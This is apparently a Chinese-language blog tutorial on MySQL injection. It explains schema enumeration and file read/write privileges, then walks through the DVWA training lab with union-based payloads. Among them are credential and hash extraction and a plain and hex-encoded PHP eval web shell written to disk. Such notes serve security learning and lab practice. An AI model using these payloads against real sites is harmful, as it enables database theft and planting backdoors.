日期:2019-07-23 19:55:59
更新:
作者:Bay0net
介绍:Mysql 注入笔记
0x01、 基本信息
基本术语
- 数据库: 数据库是一些关联表的集合。
- 数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。
- 列: 一列(数据元素) 包含了相同类型的数据, 例如邮政编码的数据。
- 行:一行(=元组,或记录)是一组相关的数据,例如一条用户订阅的数据。
- 主键:主键是唯一的。一个数据表中只能包含一个主键。你可以使用主键来查询数据。
- 外键:外键用于关联两个表。 
常用命令
# 登录
mysql -h 127.0.0.1 -u root -p root
0x02、Mysql 命令
爆数据库名称、表名、字段名
在每个 MySQL
实例中都有一个独立的 information_schema
,用来存储 MySQL
实例中所有其他数据库的基本信息。
# 爆数据库的名称
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆当前数据库的表名
select group_concat(table_name) from information_schema.tables where table_schema=database();
# 爆字段名(表名是 users,加引号或十六进制编码)
select group_concat(column_name) from information_schema.columns where table_name='users';
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;
# 爆字段内容
select first_name,password from users
查看 MySQL 读写权限
使用 mysql
的读写功能需要具有一定的权限。
secure_file_priv
参数用来限制 load_file,into outfile
等相关读写执行函数作用于哪个指定目录。
# 查看方式
show global variables like '%secure%';
# 具体意义
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
文件操作
# 读取文件
select load_file('//tmp//key');
# 写入文件(需要有权限、知道绝对路径)
select 'hello' into outfile '/tmp/test01'
过滤的函数
PHP < 5.4
时;有一个 magic_quotes_gpc
配置项,当 magic_quotes is on
,所有的 单引号、双引号、反斜杠和 null
都将自动使用反斜杠进行转义。在 php5.4
之后的版本不能使用这个方法进行转义。
mysql_real_escape_string()
,也是用来转义特殊字符的,但是这个扩展在 php5.5
中已经弃用,并在 php7
中删除。
PHP: mysqli::real_escape_string - Manual
0x03、SQL Injection(DVWA)
Low Security Level
# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2
# 判断字段长度(2 正常,3 异常)
?id=1' order by 2 --
?id=1' order by 3 --
# 确定回显点
?id=1' union select 111,222 --
# 用户名和数据库名称
?id=1' union select user(),database() --
-- output:admin@localhost、dvwa
# 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() --
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1
# 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() --
-- output:guestbook,users
# 爆列名(两种办法,加引号或者十六进制编码)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 --
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
# 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users --
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --
?id=1' union select user,password from users --
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99
# 读文件
?id=1' union select 1,load_file('//tmp//key') --
# 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' --
Medium Security Level
使用了 mysqli_real_escape_string
函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
此处是数字型注入,所以和特殊符号过滤关系不大,使用 hackbar
进行 POST
即可。
# 判断注入点
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit
# 爆数据
id=1 union select user,password from users&Submit=Submit
High Secuirty Level
此处加了个 limit 1
来限制输出,但是可以直接注释掉,解法与 Low Security Level
相同。
Impossible Secuity Level
采用了 PDO
技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken
机制的加入了进一步提高了安全性。